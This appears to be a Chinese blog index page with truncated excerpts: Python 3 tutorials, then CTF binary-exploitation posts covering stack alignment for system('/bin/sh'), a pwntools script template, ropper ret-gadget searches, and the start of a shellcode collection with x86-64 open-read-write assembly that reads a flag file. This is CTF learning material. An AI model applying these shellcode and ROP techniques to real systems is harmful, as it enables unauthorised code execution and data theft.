Python3列表
Python3列表序列是python中最基本的数据结构。
列表都可以进行的操作包括索引,切片,加,乘,检查成员。
列表不需要具有相同的类型。
更新列表你可以对列表的数据项进行修改或者更新,你也可以使用append()方法来添加列表项。
123456789101112131415#!/usr/bin/python3 list = ['Google', 'Runoob', 1997, 2000] print ("第三个元素为 : ", list[2])list[2] = 2001print ("更新后的第三个元素为 : ", list[2]) list1 = ['Google', 'Runoob', 'Taobao']list1.append('Baidu')out:第三个元素为 : 1997更新后的第三个元素为 : 2001更新后的列表 : ['Google', 'Runoob', & ...
python3函数
python3函数定义一个函数你可以定义一个由自己想要功能的函数,以下是简单的规则:
函数代码块以def关键词开头,后接函数标识符名称核圆括号()。
任何传入参数和自变量必须放在圆括号中间,圆括号之间可以用于定义参数。
函数的第一行语句可以选择性地使用文档字符串——用于存放函数说明。
函数内容以冒号:起始,并且缩进。
**return[表达式]**结束函数,选择性地返回一个值给调用方,不带表达式的return相当于返回None。
参数传递在python中,类型属于对象,对象有不同的类型区分,变量是没有类型的:
123a=[1,2,3]a="Runoob"
以上代码中,[1,2,3]是list类型,“Runoob”是string类型,而变量a是没有类型的,它仅仅是一个对象的引用(一个指针),可以是指向list类型对象,也可以是指向String类型对象。
可更改(mutable)与不可更改(immutable)对象在 python 中,strings, tuples, 和 numbers 是不可更改的对象,而 list,dict 等则是可以修改的对象。
不可变类 ...
Python3 面向对象编程
Python3 面向对象编程Python从设计之初就已经是一门面向对象的语言,正因为如此,在Python中创建一个类和对象是很容易的。
面向对象技术简介
类 : 用来描述具有相同的属性和方法的对象的集合。它定义了该集合中每个对象所共有的属性核方法。对象是类的实例
方法: 类中定义的函数。
类变量:类变量在整个实例化的对象中是公用的。类变量定义在类中且在函数体之外。类变量通常不作为实例变量使用。
数据成员: 类变量或者实例变量用于处理类及其实例对象的相关数据。
方法重写:如果从父类继承的方法不能满足子类的需求,可以对其进行改写,这个过程叫方法的覆盖,也称为方法的重写。
局部变量:定义在方法中的变量,只能作用与当前实例的类。
实例变量:在类的声明中,属性是用变量来表示的,这种变量就称为实例变量,实例变量就是一个用self 修饰的变量。
继承:即一个派生类继承基类的字段和方法。继承也允许把一个派生类的对象作为一个基类对象对待。例如,有这样一个设计:一个Dog类型的对象派生自Animal类,这是模拟“是一个”关系(Dog是一个Animal)。
实例化:创建一个类的实例,类的具体对象。
对象:通 ...
Python3 基本数据类型
Python3 基本数据类型Python中变量不需要声明。每个变量在使用前都必须赋值,变量赋值以后该变量才会被创建。
在 Python 中,变量就是变量,它没有类型,我们所说的”类型”是变量所指的内存中对象的类型。
标准数据类型python3中有6个标准的数据类型
Number(数字)
String(字符串)
List(列表)
Tuple(元组)
Set(集合)
Dictionary(字典)
Python3的6个数据类型中:
不可变数据(3个):Number(数字),String(字符串),Tuple(元组);
可变数据(3个):List(列表),Dictionary(字典),set(集合)
Numberpython3支持 int,float,bool,complex(复数)。
像大多数语言一样,数值类型的赋值核计算都是很直观的。内置的type()函数可以用来查询变量所指的对象类型。
还可以用isinstannce来判断
isinstance和type的区别在于:
type()不会认为子类是一种父类型。
isinstance()会认为子类是一种父类型。
type 是用于求一 ...
Python3 File(文件) 方法
Python3 File(文件) 方法open() 方法Python open() 方法用于打开一个文件,并返回文件对象。
在对文件进行处理过程都需要使用到这个函数,如果该文件无法被打开,会抛出 OSError。
注意:使用 open() 方法一定要保证关闭文件对象,即调用 close() 方法。
open() 函数常用形式是接收两个参数:文件名(file)和模式(mode)。
1open(file, mode='r')
完整的语法格式为:
1open(file, mode='r', buffering=-1, encoding=None, errors=None, newline=None, closefd=True, opener=None)
参数说明:
file: 必需,文件路径(相对或者绝对路径)。
mode: 可选,文件打开模式
buffering: 设置缓冲
encoding: 一般使用utf8
errors: 报错级别
newline: 区分换行符
closefd: 传入的file参数类型
opener: 设置自定义开启器,开 ...
Python 强制类型转换
Python 强制类型转换前言本篇主要介绍Python的强制类型转换。
软件环境
系统
Kali Rolling (2021.3) x64
软件
Python 2.7.3
IPython 4.0.0
Python数据类型的显式转换数据类型的显示转换,也称为数据类型的强制类型转换,是通过Python的内建函数来实现的类型转换。
显式转换的多种类型
int(x [,base]) ⇒ 将x转换为一个十进制的整数long(x [,base]) ⇒ 将x转换为一个十进制的长整数float(x) ⇒ 将x转换为一个浮点数str(object) ⇒ 转换为字符串repr(object) ⇒ 转换为表达式字符串eval(str) ⇒ 用来计算在字符串中的有效Python表达式,并返回一个对象tuple(seq) ⇒ 将序列seq转换为一个元组list(seq) ⇒ 将序列seq转换为一个列表chr(x ) ⇒ 将一个整数转换为一个字符unichr(x ) ⇒ 将一个整数转换为Unicode字符ord(x ) ⇒ 将一个字符转换为它的整数值hex(x ) ⇒ 将一个整数转换为一个十六进制字符串 ...
PWN题执行system(binsh)错误
PWN题执行system(“/bin/sh”)错误sub rsp, qword ptr [rip + 0x14b45] <0x7ffff7ffc708在system函数plt的时候会去寻找对应的地址,这里我们需要在栈顶上留出足够的空间去让其寻找地址,所以在我们栈迁移去bss段的时候应把bss段的地址写到靠后一点,否则sub减掉后值是无法访问的,
movaps xmmword ptr [rsp + 0x50], xmm0在do_system函数偏移357的位置有个movaps的汇编,在执行这里的时候如果RSP的栈对齐错误的话是无法成功执行的,于是我们需要考虑堆栈对齐的问题,这时候rsp的值加或者减八即可
是xmm寄存器的问题,当glibc版本大于2.27的时候,系统调用system(“/bin/sh”)之前有个xmm寄存器使用。要确保rsp是与16对齐的,也就是末尾必须是0.
mov dword ptr [esp + 8], eax
这种只要是涉及到了esp或者rsp寻址的问题的基本上都是栈空间不足的问题,这个题我是用的栈迁移 ...
PWN题常见题型脚本模版
PWN题常见题型脚本模版设置环境绑定要处理的程序1234567# 远程# remote(ip/hostname, port)p = remote("127.0.0.1", 8888)# 本地# 注意process中参数一定要有./p = process("./pwn")
设置上下文环境1234567891011121314151617181920# 设置上下文环境主要用于一些需要上下文的漏洞利用# 比如:shellcode的生成# 设置操作系统context.os = "linux"# 设置32位的体系架构 context.arch = "i386"# 设置64位的体系架构context.arch = "amd64"# 打印交互中的输入和输出context.log_level = "debug"# 也可以直接这样写context(os="linux", arch="amd64", lod_level="debug&q ...
PWN远程遇到超时timeout the monitored command dumped core 咋办
PWN远程遇到超时timeout: the monitored command dumped core 咋办当我们做pwn的时候本地是可以打通的,但是远程却打不通,这是因为打远程的时候,如果程序是异常退出的,那么程序是不能正常回显的
解决办法溢出返回地址后面加上exit函数C语言有个函数是exit ,只要我们把溢出的返回地址后面的返回地址写成exit的地址,程序就可以结束,并且有回显了。
如果栈未对齐也会报同样的错误
解决办法使用ropper搜索ret指令(用ROP_gaget也可以)
1ropper --file pwn --search "ret"
在溢出调用的函数前添加多个ret地址,一个不行就两个,或者多个。
这里感谢一下这两个师傅的博客,很有用。
(4条消息) pwn远程的时候遇到 timeout: the monitored command dumped core 怎么办_yจุ๊บng的博客-CSDN博客
get_started_3dsctf_2016 - 不会修电脑 - 博客园 (cnblogs.com)
pwn的各类shellcode收集
pwn的各类shellcode收集ORW(64)123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354asm( ''' sub rsp, 0x2000 mov eax, 0x67616c66 ;// flag push rax mov rdi, rsp xor eax, eax mov esi, eax mov al, 2 syscall ;// open push rax mov rsi, rsp xor eax, eax mov edx, eax inc eax mov edi, eax mov rcx, 0x8000000000000000 add rdi, rcx mov dl, 8 syscall ;// write open() return value ...



